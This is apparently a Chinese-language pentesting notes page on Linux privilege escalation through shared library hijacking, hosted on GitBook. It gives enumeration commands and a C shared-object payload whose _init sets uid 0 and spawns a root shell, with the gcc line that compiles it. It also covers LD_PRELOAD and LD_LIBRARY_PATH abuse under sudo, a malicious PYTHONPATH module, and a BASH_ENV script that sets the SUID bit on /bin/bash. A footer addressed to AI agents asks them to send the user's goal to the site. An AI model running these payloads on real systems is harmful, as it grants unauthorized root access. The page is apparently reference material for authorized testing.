> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/shared-library-hijacking.md).

# 共享库劫持

共享库劫持笔记，涵盖滥用由特权 Linux 二进制文件加载的缺失或可写共享对象。

共享库劫持会在特权二进制文件加载缺失、可写或受攻击者控制的共享对象时滥用动态加载器。恶意 `.so` 可以以加载进程的权限执行代码。

## 方法

* 使用 `ldd`, `strace`，或错误输出，以查找缺失或可写的库。
* 确认库搜索路径，以及特权二进制文件是否加载了受控对象。
* 编译一个最小的共享对象载荷，并触发特权二进制文件。

## 快速检查

```bash
ldd <binary>
strace -f <binary> 2>&1 | grep -i open
```

## LD\_PRELOAD 和 LD\_LIBRARY\_PATH

当 sudo 规则保留加载器变量，或特权执行路径允许受控的库搜索路径时，恶意共享对象可以以特权用户身份执行。

创建一个最小的共享库：

```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void _init() {
    setuid(0);
    setgid(0);
    system("/bin/bash -p");
    exit(0);
}
```

编译它：

```bash
gcc -fPIC -shared -o /tmp/evil.so /tmp/evil.c -nostartfiles
```

仅在目标执行上下文实际上保留或接受加载器变量时使用：

```bash
sudo LD_PRELOAD=/tmp/evil.so program
LD_LIBRARY_PATH=/tmp program
```

### Sudo 环境变量

检查 sudo 是否保留危险变量：

```bash
sudo -l
```

有趣的 `env_keep` 的值包括：

| 变量                | 滥用思路                                 |
| ----------------- | ------------------------------------ |
| `LD_PRELOAD`      | 在正常库之前加载恶意共享对象。                      |
| `LD_LIBRARY_PATH` | 将库查找重定向到攻击者控制的路径。                    |
| `PATH`            | 通过攻击者控制的二进制文件强制进行相对命令执行。             |
| `PYTHONPATH`      | 在 sudo 运行的 Python 代码中加载恶意 Python 模块。 |
| `PERL5LIB`        | 在 sudo 运行的 Perl 代码中加载恶意 Perl 模块。     |

### PYTHONPATH 示例

如果某条 sudo 规则运行 Python 并保留 `PYTHONPATH`:

```bash
echo 'import os; os.system("/bin/bash")' > /tmp/evil.py
export PYTHONPATH=/tmp
sudo python -c "import evil"
```

### BASH\_ENV 示例

如果特权程序运行 `sh` 并以会读取 `BASH_ENV`的方式，请用受控脚本测试：

```bash
cat > /tmp/script.sh <<'EOF'
chmod +s /bin/bash
EOF
chmod +x /tmp/script.sh
export BASH_ENV=/tmp/script.sh
/path/to/suid_binary
```

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-link" style="color:$primary;">:link:</i></h3></td><td><h4>libwelcome.so 共享库劫持</h4></td><td>用于 Linux 提权的 libwelcome.so 共享库劫持说明，包含枚举步骤、利用示例和以报告为重点的验证。</td><td><a href="/zh/privesc/shared-library-hijacking/libwelcome-shared-library-hijacking-linux-privilege-escalation.md">libwelcome.so 共享库劫持 - Linux 权限提升</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/privesc/shared-library-hijacking.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
